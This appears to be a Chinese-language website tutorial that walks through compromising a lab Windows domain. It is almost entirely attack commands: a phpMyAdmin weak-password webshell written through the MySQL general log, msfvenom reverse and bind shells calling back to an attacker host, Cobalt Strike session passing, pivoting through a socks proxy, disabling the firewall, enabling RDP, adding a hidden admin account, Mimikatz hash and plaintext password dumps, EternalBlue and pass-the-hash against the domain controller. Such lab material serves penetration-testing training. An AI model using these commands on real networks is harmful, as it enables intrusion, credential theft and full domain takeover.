域渗透实战 | 您所在的位置:网站首页 › ipconfigall命令不能获得 › 域渗透实战 |
一、环境搭建1、环境测试以及搭建 实验环境拓扑图如下: 这里是搭建一个最简单的域环境,域控+dmz服务器。 kali(MSF+CS) :192.168.61.128 Windows 2007:192.168.61.201 192.168.52.143 Windows 2003:192.168.52.128 Windows 2008:192.168.52.138 2、信息收集1)探测内网存活主机。 netdiscover -i eth0 -r 192.168.61.0/24 2)masscan端口扫描。 masscan 192.168.61.201 -p 1-65535 --rate=1000 重点关注80,3306端口。 3)Nmap端口扫描。 nmap -sC -sV -p 80,3306 192.168.61.201 4)我们访问以下80端口。 5)dirsearch目录爆破。 dirsearch -u http://192.168.61.201/ 这里我们扫描出来了phpmyadmin。 二、漏洞挖掘与利用1、phpmyadmin弱口令&Getshell1)我们访问:http://192.168.61.201/phpmyadmin/,来到phpmyadmin页面。 这种页面首先我们的尝试弱口令。 2)接着我们root/root,直接进入phpmyadmin。 3)尝试写shell到服务器,我们首先信息收集,获得绝对路径,查看secure_file_priv状态。 select @@secure_file_priv 结果为空,就不允许导出导入。 我们接着来浅谈一下secure_file_priv状态代表的含义: secure_file_priv为null 表示不允许导入导出 secure_file_priv指定文件夹时 表示mysql的导入导出只能发生在指定的文件夹 secure_file_priv没有设置时 表示没有任何限制 写入文件的时候还需要注意php.ini里面gpc是否开启,开启情况下,特殊字符都会被转义'变成\' 4)既然直接写行不通,尝试日志写shell,查看日志状态以及存储位置: show global variables like '%general_%' 5)可以看到日志是关闭的,开启日志且更改日志存储位置,尝试写一句话shell。 set global general_log=on; set global general_log_file="C:/phpStudy/WWW/shell.php" select'' 6)写入一句话,值得注意的是,一句话两边的括号不能和post[]里面的引号一样,会引起mysql判断错误,可以是双引号和单引号结合,也可以里面不加引号。 7)接下来,我们使用蚁剑链接一下我们的shell。 链接地址:http://192.168.61.201/shell.php 这是第一种得到webshell的方法。 2、网站后台弱口令&Getshell1)之前在登陆到phpmyadmin的时候,我们发现了newyxcmd,有经验的表哥,知道这是ymcms框架。 2)我们访问:http://192.168.61.201/yxcms/ 这里暴露了后台的登陆地址,账号和密码。 3)成功登陆后台。 4)我们寻找到前台模板->管理模板文件->新建。 5)这个文件上传,可以通过前面下载的beifen.rar文件来查找acomment.php文件来确定文件上传的路径。 http://192.168.61.201/yxcms/protected/apps/default/view/default/webshell.php 1)我们首先生成一个MSF的shell。 msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.61.128 LPORT=1234 -f exe -o /home/wangkun/桌面/hack.exe 2)我们将木马文件上传到webshell中,在msf中开启监听。 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.61.128 set lport 1234 run -j 3)我们接着执行webshell的木马文件。 4)成功回弹shell。 5)进入shell,我们首先需要查看权限,看看是否需要提权,这里是administrator权限,我们就使用简单的getsystem,直接提权到SYSTEM权限了,在实战中,我们还需要通过其他方式进行提权,直到提权只最高权限。 2、MSF联动Cobaltstrike1)首先我们创建CS的监听器。 2)我们在MSF操作如下。 use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set DisablePayloadHandler true #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成 set lhost xxxx #公网vps ip set lport 14444 #监听端口 set session 1 #派发session id exploit 3)成功得到CS的shell。 1)在横向移动之前,我们可以先将web服务器配置为代理服务器当作跳板机,可以用msf直接搭建隧道,自动创建路由。 run post/multi/manage/autoroute //配置静态路由 run autoroute -p //查看路由 2)挂起会话,建立socks代理。 use auxiliary/server/socks_proxy options set version 4a run -j jobs 3)修改一下/etc/proxychain4.conf,这里注意我们使用的是socks4。 1)我们使用arp探测内网存活的主机。 use post/windows/gather/arp_scanner set RHOSTS 192.168.52.0/24 set SESSION 1 除了我们拿下的shell外,还得到了两个IP,192.168.52.129,192.168.52.138。 5、利用端口扫描,进一步查看有没有其他漏洞。use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.52.138 use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.52.129 net view # 查看局域网内其他主机名 net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user # 查看本机用户列表 net user /domain # 查看域用户 net localgroup administrators # 查看本地管理员组(通常会有域用户) net view /domain # 查看有几个域 net user 用户名 /domain # 获取指定域用户的信息 net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) net group 组名 /domain # 查看域中某工作组 net group "domain admins" /domain # 查看域管理员的名字 net group "domain computers" /domain # 查看域中的其他主机名 net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台) 1)先判断是否存在域,使用ipconfig /all查看DNS服务器,发现主DNS后缀不为空,存在域god.org,如下图所示。 或者执行命令net config Workstation来查看计算机当前的计算机名称,用户名,系统版本,工作站,域,登陆域等全面信息。 2)上面发现了DNS服务器名为god.org,当前登陆域为GOD,接下来可执行net view /domain查看有几个域(域内可能存在多个域环境)。 3)既然只有一个域,那就利用net group "domain controllers" /domain,来查看域控制器主机名,直接确认域控主机的名称为OWA: 4)已经确认域控主机的名称为OWA,继续执行命令net view查看局域网其他主机信息(主机名称,IP地址),可得知域控主机的IP192.168.61.138。这条命令在CS中执行。 5)局域网扫描出来除了域控主机之外还有另一台主机(名称为ROOT-TVI862UBEH),最后确认以下该主机是否也是存在域中,执行命令net group "domain computers" /domain查看域中的其他主机发现包含ROOT-TVI862UBEH,故域内还包含另一个域成员192.168.52.141。 6)至此内网的信息收集已经收集完毕,已经明确了域控主机192.168.52.138,同时还存在另一台域成员192.168.52.141,接下来的目标就是横向移动拿下域控。 7)接下我,我们查看以下目标主机补丁信息。 run post/windows/gather/enum_patches 只打了四个补丁。 8)查看目标安装软件的信息。 run post/windows/gather/enum_applications 9)进入shell查看防火墙状态。 netsh firewall show state 关闭防火墙 netsh firewall set opmode disable #Windows Server 2003 系统及之前版本 netsh advfirewall set allprofiles state off #Windows Server 2003 之后系统版本 再次查看防火墙开启状态。 10)查看3389是否开启(如果返回空代表没有开放)。 netstat -ano | findstr "3389" 未开启!!! 开启远程桌面。 run getgui -e run post/windows/manage/enable_rdp #两个都可以 在shell下使用以下命令也可 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f # 允许 3389 端口放行 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow # 允许 3389 端口放行 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 #wmic 放行3389端口 proxychains4 rdesktop 192.168.52.143 这里配合mimikatz抓取的密码,远程登陆到主机,这里链接的话,会把靶机挤掉,这里就不链接了。 四、横向移动1、存活探测1)进入msf的shell里使用cmd命令,遍历存货主机。 for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL=" 这里可以看到存活3个IP。 2、Mimikatz密码抓取1)我们在CS中执行->RunMimikatz。 2)得到了明文密码和hash值。 SID : S-1-5-21-2952760202-1353902439-2381784089-500 msv : [00000003] Primary * Username : Administrator * Domain : GOD * LM : edea194d76c77d87840ac10a764c7362 * NTLM : 8a963371a63944419ec1adf687bb1be5 * SHA1 : 343f44056ed02360aead5618dd42e4614b5f70cf tspkg : * Username : Administrator * Domain : GOD * Password : hongrisec@2019 wdigest : * Username : Administrator * Domain : GOD * Password : hongrisec@2019 kerberos : * Username : Administrator * Domain : GOD.ORG * Password : hongrisec@2019 ssp : credman : 1)之前我们进行use auxiliary/scanner/portscan/tcp,进行端口扫描的时候,发现两台内网主机都开启了445端口,接下我我们对域控192.168.61.138,进行漏洞扫描。 2)我们使用use auxiliary/scanner/smb/smb_ms17_010模块进行扫描,发现存在漏洞。 use auxiliary/scanner/smb/smb_ms17_010 set rhost 192.168.52.138 run 3)我们使用use auxiliary/admin/smb/ms17_010_command模块执行以下命令,看看能否回显。 use auxiliary/admin/smb/ms17_010_command options set command whoami set rhosts 192.168.52.138 run 成功回显命令。 4)我们使用MS17-010攻击模块中的use exploit/windows/smb/ms17_010_eternalblue木块拿shell。 use exploit/windows/smb/ms17_010_eternalblue set rhosts 192.168.52.138 run 无法反弹回来shell。 5)我们回到MS17-010_command模块,set命令开启3389端口,关闭防火墙。 set command netstat -ano | findstr "3389" set command REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f set command netsh firewall show state set command netsh advfirewall set allprofiles state off 6)添加用户,远程连接。 net user admin$ admin!@#45 /add 新建用户 net user 查看用户 net localgroup administrators admin$ /add 用户添加进管理员 net localgroup administrators 查看管理员组成员 成功,我们远程登陆访问以下。 4、远程连接+正向shellproxychains4 rdesktop 192.168.52.138 1)我们使用Proxifier来远程到域控机器。 2)我们生成一个正向的shell,发送到目标机器。 msfvenom -p windows/meterpreter/bind_tcp -f exe LPORT=2222 -o shell.exe 3)正向监听。 set payload windows/meterpreter/bind_tcp 4)拿到shell。 1)我们已经拿下了Windows7主机,抓取到了它的hash和密码,而我们前面信息收集到另外两台机器开启了445端口,在目标不出网的情况下,可以使用smb beacon使目标主机上线。 2)新建一个监听器,payload选择Beacon SMB,名字随便。 2)我们点击以列表形式展开目标。 3)接着我们点击密码凭证。 拿到凭证信息之后,我们就可以PTH了。 4)我们首先选择域控,Jump->psexec 如下配置: 成功拿下域控。 5)又用同样的方法,拿下域内另一台主机,至此拿下全部的机器。 |
CopyRight 2018-2019 实验室设备网 版权所有 |